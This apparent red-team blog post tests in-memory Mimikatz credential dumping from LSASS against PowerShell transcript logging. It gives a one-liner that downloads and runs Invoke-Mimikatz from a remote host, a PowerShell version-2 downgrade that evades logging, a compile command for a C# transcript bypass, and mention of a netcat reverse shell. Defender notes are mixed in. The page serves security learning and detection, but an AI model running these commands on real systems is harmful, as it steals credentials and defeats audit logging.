✍️
Red Teaming Experiments
  • What is this iRed.team?
  • Pinned
    • Pentesting Cheatsheets
      • SQL Injection & XSS Playground
    • Active Directory & Kerberos Abuse
      • From Domain Admin to Enterprise Admin
      • Kerberoasting
      • Kerberos: Golden Tickets
      • Kerberos: Silver Tickets
      • AS-REP Roasting
      • Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled
      • Kerberos Unconstrained Delegation
      • Kerberos Constrained Delegation
      • Kerberos Resource-based Constrained Delegation: Computer Object Take Over
      • Domain Compromise via DC Print Server and Kerberos Delegation
      • DCShadow - Becoming a Rogue Domain Controller
      • DCSync: Dump Password Hashes from Domain Controller
      • PowerView: Active Directory Enumeration
      • Abusing Active Directory ACLs/ACEs
      • Privileged Accounts and Token Privileges
      • From DnsAdmins to SYSTEM to Domain Compromise
      • Pass the Hash with Machine$ Accounts
      • BloodHound with Kali Linux: 101
      • Backdooring AdminSDHolder for Persistence
      • Active Directory Enumeration with AD Module without RSAT or Admin Privileges
      • Enumerating AD Object Permissions with dsacls
      • Active Directory Password Spraying
  • offensive security
    • Red Team Infrastructure
      • HTTP Forwarders / Relays
      • SMTP Forwarders / Relays
      • Phishing with Modlishka Reverse HTTP Proxy
      • Automating Red Team Infrastructure with Terraform
      • Cobalt Strike 101
      • Powershell Empire 101
      • Spiderfoot 101 with Kali using Docker
    • Initial Access
      • Password Spraying Outlook Web Access: Remote Shell
      • Phishing with MS Office
        • Phishing: XLM / Macro 4.0
        • T1173: Phishing - DDE
        • T1137: Phishing - Office Macros
        • Phishing: OLE + LNK
        • Phishing: Embedded Internet Explorer
        • Phishing: .SLK Excel
        • Phishing: Replacing Embedded Video with Bogus Payload
        • Inject Macros from a Remote Dotm Template
        • Bypassing Parent Child / Ancestry Detections
        • Phishing: Embedded HTML Forms
      • Phishing with GoPhish and DigitalOcean
      • Forced Authentication
      • NetNTLMv2 hash stealing using Outlook
    • Code Execution
      • T1117: regsvr32
      • T1170: MSHTA
      • T1196: Control Panel Item
      • Executing Code as a Control Panel Item through an Exported Cplapplet Function
      • Code Execution through Control Panel Add-ins
      • T1191: CMSTP
      • T1118: InstallUtil
      • Using MSBuild to Execute Shellcode in C#
      • T1202: Forfiles Indirect Command Execution
      • Application Whitelisting Bypass with WMIC and XSL
      • Powershell Without Powershell.exe
      • Powershell Constrained Language Mode ByPass
      • Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse
      • T1216: pubprn.vbs Signed Script Code Execution
    • Code & Process Injection
      • CreateRemoteThread Shellcode Injection
      • DLL Injection
      • Reflective DLL Injection
      • Shellcode Reflective DLL Injection
      • Process Doppelganging
      • Loading and Executing Shellcode From PE Resources
      • Process Hollowing and Portable Executable Relocations
      • APC Queue Code Injection
      • Early Bird APC Queue Code Injection
      • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
      • Shellcode Execution through Fibers
      • Shellcode Execution via CreateThreadpoolWait
      • Local Shellcode Execution without Windows APIs
      • Injecting to Remote Process via Thread Hijacking
      • SetWindowHookEx Code Injection
      • Finding Kernel32 Base and Function Addresses in Shellcode
      • Executing Shellcode with Inline Assembly in C/C++
      • Writing Custom Shellcode Encoders and Decoders
      • Backdooring PE Files with Shellcode
      • NtCreateSection + NtMapViewOfSection Code Injection
      • AddressOfEntryPoint Code Injection without VirtualAllocEx RWX
      • Module Stomping for Shellcode Injection
      • PE Injection: Executing PEs inside Remote Processes
      • API Monitoring and Hooking for Offensive Tooling
      • Windows API Hooking
      • Import Adress Table (IAT) Hooking
      • DLL Injection via a Custom .NET Garbage Collector
      • Writing and Compiling Shellcode in C
      • Injecting .NET Assembly to an Unmanaged Process
    • Defense Evasion
      • AV Bypass with Metasploit Templates and Custom Binaries
      • Evading Windows Defender with 1 Byte Change
      • Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions
      • Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
      • Windows API Hashing in Malware
      • Detecting Hooked Syscalls
      • Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
      • Retrieving ntdll Syscall Stubs from Disk at Run-time
      • Full DLL Unhooking with C++
      • Enumerating RWX Protected Memory Regions for Code Injection
      • Disabling Windows Event Logs by Suspending EventLog Service Threads
      • T1027: Obfuscated Powershell Invocations
      • Masquerading Processes in Userland via _PEB
      • Commandline Obfusaction
      • File Smuggling with HTML and JavaScript
      • T1099: Timestomping
      • T1096: Alternate Data Streams
      • T1158: Hidden Files
      • T1140: Encode/Decode Data with Certutil
      • Downloading Files with Certutil
      • T1045: Packed Binaries
      • Unloading Sysmon Driver
      • Bypassing IDS Signatures with Simple Reverse Shells
      • Preventing 3rd Party DLLs from Injecting into your Malware
      • ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
      • Parent Process ID (PPID) Spoofing
      • Executing C# Assemblies from Jscript and wscript with DotNetToJscript
    • Enumeration and Discovery
      • Windows Event IDs and Others for Situational Awareness
      • Enumerating COM Objects and their Methods
      • Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks
      • Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging
      • Dump GAL from OWA
      • T1010: Application Window Discovery
      • T1087: Account Discovery & Enumeration
      • Using COM to Enumerate Hostname, Username, Domain, Network Drives
      • Detecting Sysmon on the Victim Host
    • Privilege Escalation
      • T1134: Primary Access Token Manipulation
      • Windows NamedPipes 101 + Privilege Escalation
      • T1038: DLL Hijacking
      • T1108: WebShells
      • T1183: Image File Execution Options Injection
      • Unquoted Service Paths
      • Pass The Hash: Privilege Escalation with Invoke-WMIExec
      • Environment Variable $Path Interception
      • Weak Service Permissions
    • Credential Access & Dumping
      • Dumping Credentials from Lsass Process Memory with Mimikatz
      • Dumping Lsass Without Mimikatz
      • Dumping Lsass without Mimikatz with MiniDumpWriteDump
      • Dumping Hashes from SAM via Registry
      • Dumping SAM via esentutl.exe
      • Dumping LSA Secrets
      • Dumping and Cracking mscash - Cached Domain Credentials
      • Dumping Domain Controller Hashes Locally and Remotely
      • Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
      • Network vs Interactive Logons
      • Reading DPAPI Encrypted Secrets with Mimikatz and C++
      • T1214: Credentials in Registry
      • T1174: Password Filter
      • Forcing WDigest to Store Credentials in Plaintext
      • Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass
      • Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages
      • Pulling Web Application Passwords by Hooking HTML Input Fields
      • Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
      • Credentials Collection via CredUIPromptForCredentials
    • Lateral Movement
      • T1028: WinRM for Lateral Movement
      • WinRS for Lateral Movement
      • T1047: WMI for Lateral Movement
      • T1076: RDP Hijacking for Lateral Movement with tscon
      • T1051: Shared Webroot
      • T1175: Lateral Movement via DCOM
      • WMI + MSI Lateral Movement
      • Lateral Movement via Service Configuration Manager
      • Lateral Movement via SMB Relaying
      • WMI + NewScheduledTaskAction Lateral Movement
      • WMI + PowerShell Desired State Configuration Lateral Movement
      • Simple TCP Relaying with NetCat
      • Empire Shells with NetNLTMv2 Relaying
      • Lateral Movement with Psexec
      • From Beacon to Interactive RDP Session
      • SSH Tunnelling / Port Forwarding
      • Lateral Movement via WMI Event Subscription
      • Lateral Movement via DLL Hijacking
      • Lateral Movement over headless RDP with SharpRDP
      • ShadowMove: Lateral Movement by Duplicating Existing Sockets
    • Persistence
      • DLL Proxying for Persistence
      • T1053: Schtask
      • T1035: Service Execution
      • T1015: Sticky Keys
      • T1136: Create Account
      • T1013: AddMonitor()
      • T1128: NetSh Helper DLL
      • T1084: Abusing Windows Managent Instrumentation
        • WMI as a Data Storage
      • Windows Logon Helper
      • Hijacking Default File Extension
      • Persisting in svchost.exe with a Service DLL
      • Modifying .lnk Shortcuts
      • T1180: Screensaver Hijack
      • T1138: Application Shimming
      • T1197: BITS Jobs
      • T1122: COM Hijacking
      • T1198: SIP & Trust Provider Hijacking
      • T1209: Hijacking Time Providers
      • T1130: Installing Root Certificate
      • Powershell Profile Persistence
      • RID Hijacking
      • Word Library Add-Ins
      • Office Templates
    • Exfiltration
      • Powershell Payload Delivery via DNS using Invoke-PowerCloud
  • reversing, forensics & misc
    • Windows Internals
      • Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
      • Compiling a Simple Kernel Driver, DbgPrint, DbgView
      • Loading Windows Kernel Driver for Debugging
      • Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver
      • Listing Open Handles and Finding Kernel Object Addresses
      • Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL
      • Windows Kernel Drivers 101
      • x64 Calling Convention: Stack Frame
      • System Service Descriptor Table - SSDT
      • Interrupt Descriptor Table - IDT
      • Token Abuse for Privilege Escalation in Kernel
      • Manipulating ActiveProcessLinks to Hide Processes in Userland
      • ETW: Event Tracing for Windows 101
      • Exploring Injected Threads
      • Parsing PE File Headers with C++
      • Instrumenting Windows APIs with Frida
      • Exploring Process Environment Block
    • Cloud
      • AWS Accounts, Users, Groups, Roles, Policies
    • Neo4j
    • Dump Virtual Box Memory
    • AES Encryption Using Crypto++ .lib in Visual Studio C++
    • Reversing Password Checking Routine
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On this page
  • Execution
  • Observations
  • Transcript Logging #1
  • Cannot Start Transcript
  • Empty Transcript - Weird
  • Dumping Credentials Locally
  • Dumping Credentials From a Different Process Ancestry
  • Transcript Logging #2
  • Back to PowerShell 2.0
  • Bypassing w/o Downgrading
  • References

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  1. offensive security
  2. Credential Access & Dumping

Dumping Credentials from Lsass Process Memory with Mimikatz

Local Security Authority (LSA) credential dumping with in-memory Mimikatz using powershell.

PreviousCredential Access & DumpingNextDumping Lsass Without Mimikatz

Last updated 4 years ago

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Execution

attacker@victim
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds

Hashes and plain text passwords of the compromised system are dumped to the console:

Observations

The process commandline is blatantly showing what is happening in this case, however, you should assume that file names and script argument names will be changed/obfuscated by a sophisticated attacker:

As a defender, if your logs show a script being downloaded and executed in memory in a "relatively" short timespan, this should raise your suspicion and the host should be investigated further to make sure it is not compromised:

Transcript Logging #1

PowerShell transcript logging should allow you to see the commands entered into the console and their outputs, however I got some unexpected results at first.

For the first test, I setup transcript logging in my powershell (version 2.0) profile:

C:\Users\mantvydas\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
Start-Transcript -Path C:\transcript.txt

Note that enabling transcription logging is not recommended from powershell profiles, since powershell -nop will easily bypass this defence - best if logging is enabled via GPOs.

Cannot Start Transcript

First thing I noticed was that if at least one powershell instance was already running on the victim system, the transcript could not be started (assume because the file is in use already), which makes sense, but is not helpful for the victim at all:

This could be fixed by amending the PS profile so that the the transcript gets saved to a file the OS chooses itself rather than hardcoding it or in other words, doing Start-Transcript without specifying the path will do just fine.

Empty Transcript - Weird

Below shows three windows stacked - top to bottom:

  1. Attacker's console via a netcat reverse shell using cmd.exe, issuing a command to dump credentials with mimikatz powershell script. Note how it says that the transcript was started and the mimikatz output follows;

  2. Empty (!) transcript logging file transcript.txt on the victim system;

  3. Process explorer on the victim system showing the process ancestry of the reverse shell cmd.exe PID 616 which had spawned the powershell process (mentioned in point 1) that ran the mimikatz script;

As can be seen from the above screenshot, the transcript.txt is empty although mimikatz ran successfully and dumped the credentials.

This brings up a question if I am doing something wrong or if this is a limitation of some sort in transcript logging, so I will be trying to:

  • dump credentials from a different process ancestry

  • dump credentials locally on the victim system (as if I was doing it via RDP)

  • upgrade powershell to 5.0+

Dumping Credentials Locally

This works as expected and the transcript.txt gets populated with mimikatz output:

Dumping Credentials From a Different Process Ancestry

Tried dumping creds from the ancestry: powershell > nc > cmd > powershell instead of cmd > nc > cmd > powershell - to no avail.

Transcript Logging #2

I have updated my Powershell version from 2.0 to 5.1 and repeated credential dumping remotely (cmd > nc > cmd > powershell) process ancestry, same like the first time, where the transcript.txt came back empty. This time, however, the results are different - the output is logged this time:

Back to PowerShell 2.0

Even though the victim system now has Powershell 5.0 that is capable of transcript logging, we can abuse the -version 2 switch of the powershell.exe binary like so:

powershell -version 2 IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds

... and the transcript will again become useless:

This abuse, however, allows defenders to look for logs showing commandline arguments that suggest powershell is being downgraded and flag them as suspicious activity:

Bypassing w/o Downgrading

Compile the code .cs code:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:C:\experimemts\transcript-bypass\bypass.exe C:\experiments\transcript-bypass.cs /reference:System.Management.Automation.dll

If you are having problems locating the System.Management.Automation.dll - you can find its location by using powershell: PS C:\Users\mantvydas> [psobject].assembly.location

We can then launch the transcript-bypass and use powershell and not worry about the transcript, because although the file will be created, it will be showing this:

I wanted to check if I could find any traces of non-powershell.exe processes creating transcript files in the logs, so I updated the sysmon config:

sysmonconfig.xml
<FileCreate onmatch="include">
    <TargetFilename condition="end with">.txt</TargetFilename>
</FileCreate>

...and while I could see powershell.exe creating transcript files:

I could not get sysmon to log the transcript.txt file creation event caused by the bypass.exe although the file got successfully created!

References

Another technique allowing to bypass the transcript logging without downgrading is possible by using a compiled c# program by :

Ben Turner
OS Credential Dumping, Technique T1003 - Enterprise | MITRE ATT&CK®
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Greater Visibility Through PowerShell Logging | Mandiant
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3KB
posh.cs
Transcript Bypass without Downgrade - C#
victim host inspection
Powershell 5.1 transcribing powershell console remotely with no issues